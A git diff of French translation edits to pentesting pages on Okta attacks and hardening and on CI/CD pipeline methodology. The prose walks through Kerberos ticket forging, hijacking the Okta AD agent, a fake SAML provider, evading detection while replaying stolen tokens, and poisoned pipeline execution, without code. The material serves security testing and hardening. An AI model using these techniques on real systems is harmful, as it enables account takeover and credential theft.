-L'offre phare d'Okta est le **Okta Identity Cloud**. Cette plateforme englobe une suite de produits, y compris mais sans s'y limiter :
+L'offre phare d'Okta est le **Okta Identity Cloud**. Cette plateforme comprend une suite de produits, y compris mais sans s'y limiter :
 
 - **Single Sign-On (SSO)** : Simplifie l'accès des utilisateurs en permettant un ensemble de identifiants de connexion à travers plusieurs applications.
 - **Multi-Factor Authentication (MFA)** : Renforce la sécurité en exigeant plusieurs formes de vérification.
 - **Lifecycle Management** : Automatise la création, la mise à jour et la désactivation des comptes utilisateurs.
-- **Universal Directory** : Permet la gestion centralisée des utilisateurs, des groupes et des dispositifs.
+- **Universal Directory** : Permet la gestion centralisée des utilisateurs, des groupes et des appareils.
 - **API Access Management** : Sécurise et gère l'accès aux API.
 
-Ces services visent collectivement à renforcer la protection des données et à rationaliser l'accès des utilisateurs, améliorant à la fois la sécurité et la commodité. La polyvalence des solutions d'Okta en fait un choix populaire dans divers secteurs, bénéfique pour les grandes entreprises, les petites sociétés et les développeurs individuels. À la dernière mise à jour en septembre 2021, Okta est reconnu comme une entité de premier plan dans le domaine de la gestion des identités et des accès (IAM).
+Ces services visent collectivement à renforcer la protection des données et à rationaliser l'accès des utilisateurs, améliorant à la fois la sécurité et la commodité. La polyvalence des solutions d'Okta en fait un choix populaire dans divers secteurs, bénéfique pour les grandes entreprises, les petites sociétés et les développeurs individuels. À la dernière mise à jour en septembre 2021, Okta est reconnue comme une entité de premier plan dans le domaine de la gestion des identités et des accès (IAM).
 
 > [!CAUTION]
-> Le principal objectif d'Okta est de configurer l'accès à différentes applications externes pour différents utilisateurs et groupes. Si vous parvenez à **compromettre les privilèges d'administrateur dans un environnement Okta**, vous serez très probablement capable de **compromettre toutes les autres plateformes utilisées par l'entreprise**.
+> Le principal objectif d'Okta est de configurer l'accès à différentes applications pour les utilisateurs et les groupes externes. Si vous parvenez à **compromettre les privilèges d'administrateur dans un environnement Okta**, vous serez très probablement en mesure de **compromettre toutes les autres plateformes utilisées par l'entreprise**.
 
 > [!TIP]
 > Pour effectuer un examen de sécurité d'un environnement Okta, vous devriez demander un **accès en lecture seule d'administrateur**.
 
-### Summary
+### Résumé
 
-Il y a des **utilisateurs** (qui peuvent être **stockés dans Okta,** connectés depuis des **fournisseurs d'identité** configurés ou authentifiés via **Active Directory** ou LDAP).\
+Il y a des **utilisateurs** (qui peuvent être **stockés dans Okta,** connectés depuis des **Identity Providers** configurés ou authentifiés via **Active Directory** ou LDAP).\
 Ces utilisateurs peuvent être dans des **groupes**.\
 Il y a aussi des **authentificateurs** : différentes options pour s'authentifier comme le mot de passe, et plusieurs 2FA comme WebAuthn, email, téléphone, okta verify (ils peuvent être activés ou désactivés)...
 
-Ensuite, il y a des **applications** synchronisées avec Okta. Chaque application aura un certain **mapping avec Okta** pour partager des informations (comme les adresses email, les prénoms...). De plus, chaque application doit être dans une **politique d'authentification**, qui indique les **authentificateurs nécessaires** pour qu'un utilisateur **accède** à l'application.
+Ensuite, il y a des **applications** synchronisées avec Okta. Chaque application aura un certain **mapping avec Okta** pour partager des informations (comme les adresses email, les prénoms...). De plus, chaque application doit être dans une **Authentication Policy**, qui indique les **authentificateurs nécessaires** pour qu'un utilisateur **accède** à l'application.
 
 > [!CAUTION]
 > Le rôle le plus puissant est **Super Administrator**.
 >
 > Si un attaquant compromet Okta avec un accès Administrateur, toutes les **applications faisant confiance à Okta** seront très probablement **compromises**.
 
-## Attacks
+## Attaques
 
-### Locating Okta Portal
+### Localiser le portail Okta
 
-Généralement, le portail d'une entreprise sera situé à **companyname.okta.com**. Si ce n'est pas le cas, essayez de simples **variations** de **companyname.** Si vous ne pouvez pas le trouver, il est également possible que l'organisation ait un enregistrement **CNAME** comme **`okta.companyname.com`** pointant vers le **portail Okta**.
+Généralement, le portail d'une entreprise sera situé à **companyname.okta.com**. Si ce n'est pas le cas, essayez des **variations simples** de **companyname.** Si vous ne pouvez pas le trouver, il est également possible que l'organisation ait un enregistrement **CNAME** comme **`okta.companyname.com`** pointant vers le **portail Okta**.
 
-### Login in Okta via Kerberos
+### Connexion à Okta via Kerberos
 
-Si **`companyname.kerberos.okta.com`** est actif, **Kerberos est utilisé pour l'accès à Okta**, contournant généralement **MFA** pour les utilisateurs **Windows**. Pour trouver les utilisateurs Okta authentifiés par Kerberos dans AD, exécutez **`getST.py`** avec **les paramètres appropriés**. Après avoir obtenu un **ticket utilisateur AD**, **injectez-le** dans un hôte contrôlé en utilisant des outils comme Rubeus ou Mimikatz, en vous assurant que **`clientname.kerberos.okta.com` est dans la zone "Intranet" des Options Internet**. Accéder à une URL spécifique devrait renvoyer une réponse JSON "OK", indiquant l'acceptation du ticket Kerberos, et accordant l'accès au tableau de bord Okta.
+Si **`companyname.kerberos.okta.com`** est actif, **Kerberos est utilisé pour l'accès à Okta**, contournant généralement **MFA** pour les utilisateurs **Windows**. Pour trouver les utilisateurs Okta authentifiés par Kerberos dans AD, exécutez **`getST.py`** avec **les paramètres appropriés**. Après avoir obtenu un **ticket utilisateur AD**, **injectez-le** dans un hôte contrôlé en utilisant des outils comme Rubeus ou Mimikatz, en vous assurant que **`clientname.kerberos.okta.com` est dans la zone "Intranet" des Options Internet**. Accéder à une URL spécifique devrait renvoyer une réponse JSON "OK", indiquant l'acceptation du ticket Kerberos et accordant l'accès au tableau de bord Okta.
 
 Compromettre le **compte de service Okta avec le SPN de délégation permet une attaque Silver Ticket.** Cependant, l'utilisation par Okta de **AES** pour le chiffrement des tickets nécessite de posséder la clé AES ou le mot de passe en clair. Utilisez **`ticketer.py` pour générer un ticket pour l'utilisateur victime** et livrez-le via le navigateur pour s'authentifier avec Okta.
 
 **Vérifiez l'attaque dans** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
 
-### Hijacking Okta AD Agent
+### Détournement de l'agent AD Okta
 
-Cette technique implique **d'accéder à l'Okta AD Agent sur un serveur**, qui **synchronise les utilisateurs et gère l'authentification**. En examinant et en déchiffrant les configurations dans **`OktaAgentService.exe.config`**, notamment le AgentToken en utilisant **DPAPI**, un attaquant peut potentiellement **intercepter et manipuler les données d'authentification**. Cela permet non seulement de **surveiller** et de **capturer les identifiants des utilisateurs** en clair pendant le processus d'authentification Okta, mais aussi de **répondre aux tentatives d'authentification**, permettant ainsi un accès non autorisé ou fournissant une authentification universelle via Okta (semblable à une 'clé maîtresse').
+Cette technique implique **l'accès à l'agent AD Okta sur un serveur**, qui **synchronise les utilisateurs et gère l'authentification**. En examinant et en décryptant les configurations dans **`OktaAgentService.exe.config`**, notamment le AgentToken en utilisant **DPAPI**, un attaquant peut potentiellement **intercepter et manipuler les données d'authentification**. Cela permet non seulement de **surveiller** et de **capturer les identifiants des utilisateurs** en clair pendant le processus d'authentification Okta, mais aussi de **répondre aux tentatives d'authentification**, permettant ainsi un accès non autorisé ou fournissant une authentification universelle via Okta (semblable à une 'clé maîtresse').
 
 **Vérifiez l'attaque dans** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
 
-### Hijacking AD As an Admin
+### Détournement d'AD en tant qu'Admin
 
-Cette technique implique de détourner un Okta AD Agent en obtenant d'abord un code OAuth, puis en demandant un jeton API. Le jeton est associé à un domaine AD, et un **connecteur est nommé pour établir un faux agent AD**. L'initialisation permet à l'agent de **traiter les tentatives d'authentification**, capturant les identifiants via l'API Okta. Des outils d'automatisation sont disponibles pour rationaliser ce processus, offrant une méthode fluide pour intercepter et gérer les données d'authentification dans l'environnement Okta.
+Cette technique implique de détourner un agent AD Okta en obtenant d'abord un code OAuth, puis en demandant un jeton API. Le jeton est associé à un domaine AD, et un **connecteur est nommé pour établir un faux agent AD**. L'initialisation permet à l'agent de **traiter les tentatives d'authentification**, capturant les identifiants via l'API Okta. Des outils d'automatisation sont disponibles pour rationaliser ce processus, offrant une méthode fluide pour intercepter et gérer les données d'authentification dans l'environnement Okta.
 
 **Vérifiez l'attaque dans** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
 
-### Okta Fake SAML Provider
+### Fournisseur SAML factice Okta
 
 **Vérifiez l'attaque dans** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
 
-La technique implique **le déploiement d'un fournisseur SAML factice**. En intégrant un fournisseur d'identité externe (IdP) dans le cadre d'Okta en utilisant un compte privilégié, les attaquants peuvent **contrôler l'IdP, approuvant toute demande d'authentification à volonté**. Le processus consiste à configurer un IdP SAML 2.0 dans Okta, à manipuler l'URL de connexion unique de l'IdP pour la redirection via le fichier hosts local, à générer un certificat auto-signé et à configurer les paramètres Okta pour correspondre au nom d'utilisateur ou à l'email. L'exécution réussie de ces étapes permet de s'authentifier en tant que n'importe quel utilisateur Okta, contournant le besoin d'identifiants d'utilisateur individuels, élevant considérablement le contrôle d'accès de manière potentiellement inaperçue.
+La technique implique **le déploiement d'un fournisseur SAML factice**. En intégrant un fournisseur d'identité externe (IdP) dans le cadre d'Okta en utilisant un compte privilégié, les attaquants peuvent **contrôler l'IdP, approuvant toute demande d'authentification à volonté**. Le processus consiste à configurer un IdP SAML 2.0 dans Okta, à manipuler l'URL de connexion unique de l'IdP pour la redirection via le fichier hosts local, à générer un certificat auto-signé et à configurer les paramètres Okta pour correspondre au nom d'utilisateur ou à l'email. L'exécution réussie de ces étapes permet de s'authentifier en tant qu'utilisateur Okta, contournant le besoin d'identifiants individuels, élevant considérablement le contrôle d'accès de manière potentiellement inaperçue.
 
-### Phishing Okta Portal with Evilgnix
+### Attaque de phishing du portail Okta avec Evilgnix
 
 Dans [**cet article de blog**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23), il est expliqué comment préparer une campagne de phishing contre un portail Okta.
 
-### Colleague Impersonation Attack
+### Attaque d'imitation de collègue
 
 Les **attributs que chaque utilisateur peut avoir et modifier** (comme l'email ou le prénom) peuvent être configurés dans Okta. Si une **application** fait **confiance** à un **attribut** que l'utilisateur peut **modifier**, il pourra **imiter d'autres utilisateurs sur cette plateforme**.
 
-Par conséquent, si l'application fait confiance au champ **`userName`**, vous ne pourrez probablement pas le changer (car vous ne pouvez généralement pas changer ce champ), mais s'il fait confiance par exemple à **`primaryEmail`**, vous pourriez être en mesure de **le changer pour l'adresse email d'un collègue** et de l'imiter (vous devrez avoir accès à l'email et accepter le changement).
+Par conséquent, si l'application fait confiance au champ **`userName`**, vous ne pourrez probablement pas le changer (car vous ne pouvez généralement pas modifier ce champ), mais s'il fait confiance par exemple à **`primaryEmail`**, vous pourriez être en mesure de **le changer pour l'adresse email d'un collègue** et de l'imiter (vous devrez avoir accès à l'email et accepter le changement).
 
-Notez que cette imitation dépend de la façon dont chaque application a été configurée. Seules celles qui font confiance au champ que vous avez modifié et acceptent les mises à jour seront compromises.\
+Notez que cette imitation dépend de la façon dont chaque application a été configurée. Seules celles faisant confiance au champ que vous avez modifié et acceptant les mises à jour seront compromises.\
 Par conséquent, l'application devrait avoir ce champ activé s'il existe :
 
 

@@ -86,7 +86,7 @@ J'ai également vu d'autres applications qui étaient vulnérables mais qui n'av
 
 La meilleure façon de savoir si vous pourriez imiter quelqu'un sur chaque application serait de l'essayer !
 
-## Evading behavioural detection policies 
+## Évasion des politiques de détection comportementale 
 
 Les politiques de détection comportementale dans Okta peuvent être inconnues jusqu'à ce qu'elles soient rencontrées, mais **les contourner** peut être réalisé en **ciblant directement les applications Okta**, évitant le tableau de bord principal d'Okta. Avec un **jeton d'accès Okta**, rejouez le jeton à l'**URL spécifique à l'application Okta** au lieu de la page de connexion principale.
 
@@ -94,11 +94,11 @@ Les recommandations clés incluent :
 
 - **Évitez d'utiliser** des proxys anonymes populaires et des services VPN lors de la relecture des jetons d'accès capturés.
 - Assurez-vous que les **chaînes d'agent utilisateur** sont **cohérentes** entre le client et les jetons d'accès rejoués.
-- **Évitez de rejouer** des jetons d'utilisateurs différents depuis la même adresse IP.
+- **Évitez de rejouer** des jetons provenant de différents utilisateurs depuis la même adresse IP.
 - Faites preuve de prudence lors de la relecture des jetons contre le tableau de bord Okta.
 - Si vous connaissez les adresses IP de l'entreprise victime, **limitez le trafic** à ces IP ou à leur plage, en bloquant tout autre trafic.
 
-## Okta Hardening
+## Renforcement d'Okta
 
 Okta a beaucoup de configurations possibles, sur cette page vous trouverez comment les examiner pour qu'elles soient aussi sécurisées que possible :
 
@@ -106,7 +106,7 @@ Okta a beaucoup de configurations possibles, sur cette page vous trouverez comme
 okta-hardening.md
 {{#endref}}
 
-## References
+## Références
 
 - [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers)
 - [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md
index 30dfc235a..20f690691 100644
--- a/src/pentesting-ci-cd/okta-security/okta-hardening.md
+++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md
@@ -6,18 +6,18 @@
 
 ### People
 
-D'un point de vue des attaquants, c'est super intéressant car vous pourrez voir **tous les utilisateurs enregistrés**, leurs **adresses email**, les **groupes** auxquels ils appartiennent, les **profils** et même les **appareils** (mobiles ainsi que leurs systèmes d'exploitation).
+Du point de vue d'un attaquant, c'est super intéressant car vous pourrez voir **tous les utilisateurs enregistrés**, leurs **adresses email**, les **groupes** auxquels ils appartiennent, les **profils** et même les **appareils** (mobiles avec leurs systèmes d'exploitation).
 
 Pour une revue en boîte blanche, vérifiez qu'il n'y a pas plusieurs "**Action utilisateur en attente**" et "**Réinitialisation de mot de passe**".
 
 ### Groups
 
-C'est ici que vous trouverez tous les groupes créés dans Okta. Il est intéressant de comprendre les différents groupes (ensemble de **permissions**) qui pourraient être accordés aux **utilisateurs**.\
+C'est ici que vous trouvez tous les groupes créés dans Okta. Il est intéressant de comprendre les différents groupes (ensemble de **permissions**) qui pourraient être accordées aux **utilisateurs**.\
 Il est possible de voir les **personnes incluses dans les groupes** et les **applications assignées** à chaque groupe.
 
 Bien sûr, tout groupe avec le nom **admin** est intéressant, en particulier le groupe **Administrateurs globaux**, vérifiez les membres pour savoir qui sont les membres les plus privilégiés.
 
-D'une revue en boîte blanche, il **ne devrait pas y avoir plus de 5 administrateurs globaux** (mieux s'il n'y en a que 2 ou 3).
+Dans une revue en boîte blanche, il **ne devrait pas y avoir plus de 5 administrateurs globaux** (mieux s'il n'y en a que 2 ou 3).
 
 ### Devices
 
@@ -59,7 +59,7 @@ Vous pouvez trouver ici les applications configurées, mais nous verrons les dé
 
 ### Other
 
-Paramètre intéressant, mais rien de super intéressant d'un point de vue sécurité.
+Paramètre intéressant, mais rien de super intéressant du point de vue de la sécurité.
 
 ## Applications
 
@@ -79,7 +79,7 @@ Et vous pourriez voir quelques détails supplémentaires sur l'application (comm
 
 ### Access Certifications
 
-Utilisez les Access Certifications pour créer des campagnes d'audit afin de revoir périodiquement l'accès de vos utilisateurs aux ressources et d'approuver ou de révoquer l'accès automatiquement lorsque cela est nécessaire.
+Utilisez les Access Certifications pour créer des campagnes d'audit afin de revoir l'accès de vos utilisateurs aux ressources périodiquement et approuver ou révoquer l'accès automatiquement lorsque cela est nécessaire.
 
 Je ne l'ai pas vu utilisé, mais je suppose que d'un point de vue défensif, c'est une bonne fonctionnalité.
 
@@ -91,7 +91,7 @@ Je ne l'ai pas vu utilisé, mais je suppose que d'un point de vue défensif, c'e
 - **Intégration CAPTCHA** : Il est recommandé de définir au moins le reCaptcha invisible.
 - **Sécurité de l'organisation** : Tout peut être activé et les emails d'activation ne devraient pas durer longtemps (7 jours c'est bien).
 - **Prévention de l'énumération des utilisateurs** : Les deux devraient être activés.
-- Notez que la prévention de l'énumération des utilisateurs n'est pas efficace si l'une des conditions suivantes est autorisée (voir [Gestion des utilisateurs](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) pour plus d'informations) :
+- Notez que la prévention de l'énumération des utilisateurs n'est pas efficace si l'une des conditions suivantes est autorisée (voir [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) pour plus d'informations) :
 - Inscription en libre-service
 - Flux JIT avec authentification par email
 - **Paramètres Okta ThreatInsight** : Journaliser et appliquer la sécurité en fonction du niveau de menace.
@@ -122,15 +122,15 @@ Ici, vous pouvez trouver les politiques de session assignées à différents gro
 
 

 
-Il est recommandé de demander MFA, de limiter la durée de vie de la session à quelques heures, de ne pas persister les cookies de session à travers les extensions de navigateur et de limiter l'emplacement et le fournisseur d'identité (si cela est possible). Par exemple, si chaque utilisateur doit se connecter depuis un pays, vous pourriez uniquement autoriser cet emplacement.
+Il est recommandé de demander MFA, de limiter la durée de la session à quelques heures, de ne pas persister les cookies de session à travers les extensions de navigateur et de limiter l'emplacement et le fournisseur d'identité (si cela est possible). Par exemple, si chaque utilisateur doit se connecter depuis un pays, vous pourriez uniquement autoriser cet emplacement.
 
 ### Identity Providers
 
-Les fournisseurs d'identité (IdP) sont des services qui **gèrent les comptes utilisateurs**. Ajouter des IdP dans Okta permet à vos utilisateurs finaux de **s'inscrire eux-mêmes** à vos applications personnalisées en s'authentifiant d'abord avec un compte social ou une carte intelligente.
+Les fournisseurs d'identité (IdPs) sont des services qui **gèrent les comptes utilisateurs**. Ajouter des IdPs dans Okta permet à vos utilisateurs finaux de **s'inscrire eux-mêmes** à vos applications personnalisées en s'authentifiant d'abord avec un compte social ou une carte intelligente.
 
-Sur la page des fournisseurs d'identité, vous pouvez ajouter des connexions sociales (IdP) et configurer Okta en tant que fournisseur de services (SP) en ajoutant SAML entrant. Après avoir ajouté des IdP, vous pouvez configurer des règles de routage pour diriger les utilisateurs vers un IdP en fonction du contexte, tel que l'emplacement de l'utilisateur, l'appareil ou le domaine email.
+Sur la page des fournisseurs d'identité, vous pouvez ajouter des connexions sociales (IdPs) et configurer Okta en tant que fournisseur de services (SP) en ajoutant SAML entrant. Après avoir ajouté des IdPs, vous pouvez configurer des règles de routage pour diriger les utilisateurs vers un IdP en fonction du contexte, tel que l'emplacement de l'utilisateur, l'appareil ou le domaine email.
 
-**Si un fournisseur d'identité est configuré**, d'un point de vue des attaquants et des défenseurs, vérifiez cette configuration et **si la source est vraiment fiable**, car un attaquant qui la compromet pourrait également accéder à l'environnement Okta.
+**Si un fournisseur d'identité est configuré**, du point de vue d'un attaquant et d'un défenseur, vérifiez cette configuration et **si la source est vraiment fiable**, car un attaquant qui la compromettrait pourrait également accéder à l'environnement Okta.
 
 ### Delegated Authentication
 
@@ -144,7 +144,7 @@ Une zone réseau est une limite configurable que vous pouvez utiliser pour **acc
 
 Après avoir défini une ou plusieurs zones réseau, vous pouvez **les utiliser dans les politiques de session globales**, **les politiques d'authentification**, les notifications VPN et **les règles de routage**.
 
-D'un point de vue des attaquants, il est intéressant de savoir quelles IP sont autorisées (et de vérifier si des **IP sont plus privilégiées** que d'autres). D'un point de vue des attaquants, si les utilisateurs doivent accéder depuis une adresse IP ou une région spécifique, vérifiez que cette fonctionnalité est utilisée correctement.
+Du point de vue d'un attaquant, il est intéressant de savoir quelles IP sont autorisées (et de vérifier si certaines **IP sont plus privilégiées** que d'autres). Du point de vue d'un attaquant, si les utilisateurs doivent accéder depuis une adresse IP ou une région spécifique, vérifiez que cette fonctionnalité est utilisée correctement.
 
 ### Device Integrations
 
@@ -180,7 +180,7 @@ Ici, vous pouvez trouver les **journaux des actions effectuées par les utilisat
 
 ### Import Monitoring
 
-Cela peut **importer des journaux d'autres plateformes** accessibles avec Okta.
+Cela peut **importer des journaux des autres plateformes** accessibles avec Okta.
 
 ### Rate limits
 
@@ -190,7 +190,7 @@ Vérifiez les limites de taux API atteintes.
 
 ### Account
 
-Ici, vous pouvez trouver des **informations générales** sur l'environnement Okta, telles que le nom de l'entreprise, l'adresse, le **contact de facturation par email**, le **contact technique par email** et aussi qui devrait recevoir les mises à jour d'Okta et quel type de mises à jour d'Okta.
+Ici, vous pouvez trouver des **informations générales** sur l'environnement Okta, telles que le nom de l'entreprise, l'adresse, le **contact de facturation par email**, le **contact technique par email** et aussi qui devrait recevoir les mises à jour Okta et quel type de mises à jour Okta.
 
 ### Downloads
 
diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
index 21d70f745..54b2a05c3 100644
--- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
+++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
@@ -1,4 +1,4 @@
-# Pentesting CI/CD Methodology
+# Méthodologie de Pentesting CI/CD
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -6,7 +6,7 @@
 
 ## VCS
 
-VCS signifie **Système de Contrôle de Version**, ces systèmes permettent aux développeurs de **gérer leur code source**. Le plus courant est **git** et vous trouverez généralement des entreprises l'utilisant sur l'une des **plateformes** suivantes :
+VCS signifie **Système de Contrôle de Version**, ce système permet aux développeurs de **gérer leur code source**. Le plus courant est **git** et vous trouverez généralement des entreprises l'utilisant sur l'une des **plateformes** suivantes :
 
 - Github
 - Gitlab
@@ -14,42 +14,42 @@ VCS signifie **Système de Contrôle de Version**, ces systèmes permettent aux
 - Gitea
 - Fournisseurs de cloud (ils offrent leurs propres plateformes VCS)
 
-## CI/CD Pipelines
+## Pipelines CI/CD
 
 Les pipelines CI/CD permettent aux développeurs d'**automatiser l'exécution du code** à diverses fins, y compris la construction, les tests et le déploiement d'applications. Ces flux de travail automatisés sont **déclenchés par des actions spécifiques**, telles que des envois de code, des demandes de tirage ou des tâches planifiées. Ils sont utiles pour rationaliser le processus du développement à la production.
 
 Cependant, ces systèmes doivent être **exécutés quelque part** et généralement avec des **identifiants privilégiés pour déployer du code ou accéder à des informations sensibles**.
 
-## VCS Pentesting Methodology
+## Méthodologie de Pentesting VCS
 
 > [!NOTE]
 > Même si certaines plateformes VCS permettent de créer des pipelines, dans cette section, nous allons analyser uniquement les attaques potentielles sur le contrôle du code source.
 
-Les plateformes contenant le code source de votre projet contiennent des informations sensibles et les personnes doivent être très prudentes avec les autorisations accordées à l'intérieur de cette plateforme. Voici quelques problèmes courants sur les plateformes VCS que les attaquants pourraient exploiter :
+Les plateformes contenant le code source de votre projet contiennent des informations sensibles et les gens doivent être très prudents avec les autorisations accordées à l'intérieur de cette plateforme. Voici quelques problèmes courants sur les plateformes VCS que les attaquants pourraient exploiter :
 
 - **Fuites** : Si votre code contient des fuites dans les commits et que l'attaquant peut accéder au dépôt (parce qu'il est public ou parce qu'il a accès), il pourrait découvrir les fuites.
-- **Accès** : Si un attaquant peut **accéder à un compte sur la plateforme VCS**, il pourrait obtenir **plus de visibilité et d'autorisations**.
+- **Accès** : Si un attaquant peut **accéder à un compte à l'intérieur de la plateforme VCS**, il pourrait obtenir **plus de visibilité et d'autorisations**.
 - **Enregistrement** : Certaines plateformes ne permettront qu'aux utilisateurs externes de créer un compte.
 - **SSO** : Certaines plateformes ne permettront pas aux utilisateurs de s'inscrire, mais permettront à quiconque d'accéder avec un SSO valide (donc un attaquant pourrait utiliser son compte github pour entrer par exemple).
 - **Identifiants** : Nom d'utilisateur + Mot de passe, jetons personnels, clés ssh, jetons Oauth, cookies... il existe plusieurs types de jetons qu'un utilisateur pourrait voler pour accéder d'une manière ou d'une autre à un dépôt.
 - **Webhooks** : Les plateformes VCS permettent de générer des webhooks. S'ils ne sont **pas protégés** par des secrets non visibles, un **attaquant pourrait en abuser**.
 - Si aucun secret n'est en place, l'attaquant pourrait abuser du webhook de la plateforme tierce.
 - Si le secret est dans l'URL, il en va de même et l'attaquant a également le secret.
-- **Compromission du code :** Si un acteur malveillant a un certain type d'accès **en écriture** sur les dépôts, il pourrait essayer d'**injecter du code malveillant**. Pour réussir, il pourrait avoir besoin de **contourner les protections de branche**. Ces actions peuvent être effectuées avec différents objectifs en tête :
+- **Compromission de code :** Si un acteur malveillant a un certain type d'accès **en écriture** sur les dépôts, il pourrait essayer d'**injecter du code malveillant**. Pour réussir, il pourrait avoir besoin de **contourner les protections de branche**. Ces actions peuvent être effectuées avec différents objectifs en tête :
 - Compromettre la branche principale pour **compromettre la production**.
 - Compromettre la principale (ou d'autres branches) pour **compromettre les machines des développeurs** (car ils exécutent généralement des tests, terraform ou d'autres choses à l'intérieur du dépôt sur leurs machines).
-- **Compromettre le pipeline** (voir la section suivante)
+- **Compromettre le pipeline** (voir la section suivante).
 
-## Pipelines Pentesting Methodology
+## Méthodologie de Pentesting des Pipelines
 
 La manière la plus courante de définir un pipeline est d'utiliser un **fichier de configuration CI hébergé dans le dépôt** que le pipeline construit. Ce fichier décrit l'ordre des travaux exécutés, les conditions qui affectent le flux et les paramètres de l'environnement de construction.\
-Ces fichiers ont généralement un nom et un format cohérents, par exemple — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), et les fichiers YAML des Actions GitHub situés sous .github/workflows. Lorsqu'il est déclenché, le travail du pipeline **tire le code** de la source sélectionnée (par exemple, commit / branche), et **exécute les commandes spécifiées dans le fichier de configuration CI** contre ce code.
+Ces fichiers ont généralement un nom et un format cohérents, par exemple — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), et les fichiers YAML des GitHub Actions situés sous .github/workflows. Lorsqu'il est déclenché, le travail du pipeline **tire le code** de la source sélectionnée (par exemple, commit / branche), et **exécute les commandes spécifiées dans le fichier de configuration CI** contre ce code.
 
 Par conséquent, l'objectif ultime de l'attaquant est de **compromettre d'une manière ou d'une autre ces fichiers de configuration** ou les **commandes qu'ils exécutent**.
 
-### PPE - Poisoned Pipeline Execution
+### PPE - Exécution de Pipeline Empoisonné
 
-Le chemin de l'Exécution de Pipeline Empoisonné (PPE) exploite les autorisations dans un dépôt SCM pour manipuler un pipeline CI et exécuter des commandes nuisibles. Les utilisateurs ayant les autorisations nécessaires peuvent modifier les fichiers de configuration CI ou d'autres fichiers utilisés par le travail du pipeline pour inclure des commandes malveillantes. Cela "empoisonne" le pipeline CI, entraînant l'exécution de ces commandes malveillantes.
+Le chemin d'Exécution de Pipeline Empoisonné (PPE) exploite les autorisations dans un dépôt SCM pour manipuler un pipeline CI et exécuter des commandes nuisibles. Les utilisateurs ayant les autorisations nécessaires peuvent modifier les fichiers de configuration CI ou d'autres fichiers utilisés par le travail du pipeline pour inclure des commandes malveillantes. Cela "empoisonne" le pipeline CI, entraînant l'exécution de ces commandes malveillantes.
 
 Pour qu'un acteur malveillant réussisse à effectuer une attaque PPE, il doit être capable de :
 
@@ -65,7 +65,7 @@ Il existe 3 variantes de PPE :
 - **PPE Public ou 3PE** : Dans certains cas, les pipelines peuvent être **déclenchés par des utilisateurs qui n'ont pas d'accès en écriture dans le dépôt** (et qui pourraient même ne pas faire partie de l'organisation) car ils peuvent envoyer une PR.
 - **Injection de Commande 3PE** : En général, les pipelines CI/CD **définiront des variables d'environnement** avec **des informations sur la PR**. Si cette valeur peut être contrôlée par un attaquant (comme le titre de la PR) et est **utilisée** dans un **endroit dangereux** (comme l'exécution de **commandes sh**), un attaquant pourrait **injecter des commandes là-dedans**.
 
-### Exploitation Benefits
+### Avantages de l'Exploitation
 
 Connaissant les 3 variantes pour empoisonner un pipeline, voyons ce qu'un attaquant pourrait obtenir après une exploitation réussie :
 
@@ -78,26 +78,26 @@ Connaissant les 3 variantes pour empoisonner un pipeline, voyons ce qu'un attaqu
 - **Sélectionnez-le :** Parfois, la **plateforme des pipelines aura configuré plusieurs machines** et si vous pouvez **modifier le fichier de configuration CI**, vous pouvez **indiquer où vous souhaitez exécuter le code malveillant**. Dans cette situation, un attaquant exécutera probablement un shell inversé sur chaque machine possible pour essayer de l'exploiter davantage.
 - **Compromettre la production** : Si vous êtes à l'intérieur du pipeline et que la version finale est construite et déployée à partir de celui-ci, vous pourriez **compromettre le code qui va finir par s'exécuter en production**.
 
-## More relevant info
+## Informations plus pertinentes
 
-### Tools & CIS Benchmark
+### Outils & Benchmark CIS
 
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) est un outil open-source pour auditer votre chaîne d'approvisionnement logicielle pour la conformité en matière de sécurité basé sur un nouveau [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). L'audit se concentre sur l'ensemble du processus SDLC, où il peut révéler des risques du temps de code au temps de déploiement.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) est un outil open-source pour auditer votre chaîne d'approvisionnement logicielle pour la conformité en matière de sécurité basé sur un nouveau [**benchmark CIS Software Supply Chain**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). L'audit se concentre sur l'ensemble du processus SDLC, où il peut révéler des risques depuis le temps de code jusqu'au temps de déploiement.
 
-### Top 10 CI/CD Security Risk
+### Top 10 des Risques de Sécurité CI/CD
 
 Consultez cet article intéressant sur les 10 principaux risques CI/CD selon Cider : [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
 
-### Labs
+### Laboratoires
 
 - Sur chaque plateforme que vous pouvez exécuter localement, vous trouverez comment la lancer localement afin que vous puissiez la configurer comme vous le souhaitez pour la tester.
 - Laboratoire Gitea + Jenkins : [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
 
-### Automatic Tools
+### Outils Automatiques
 
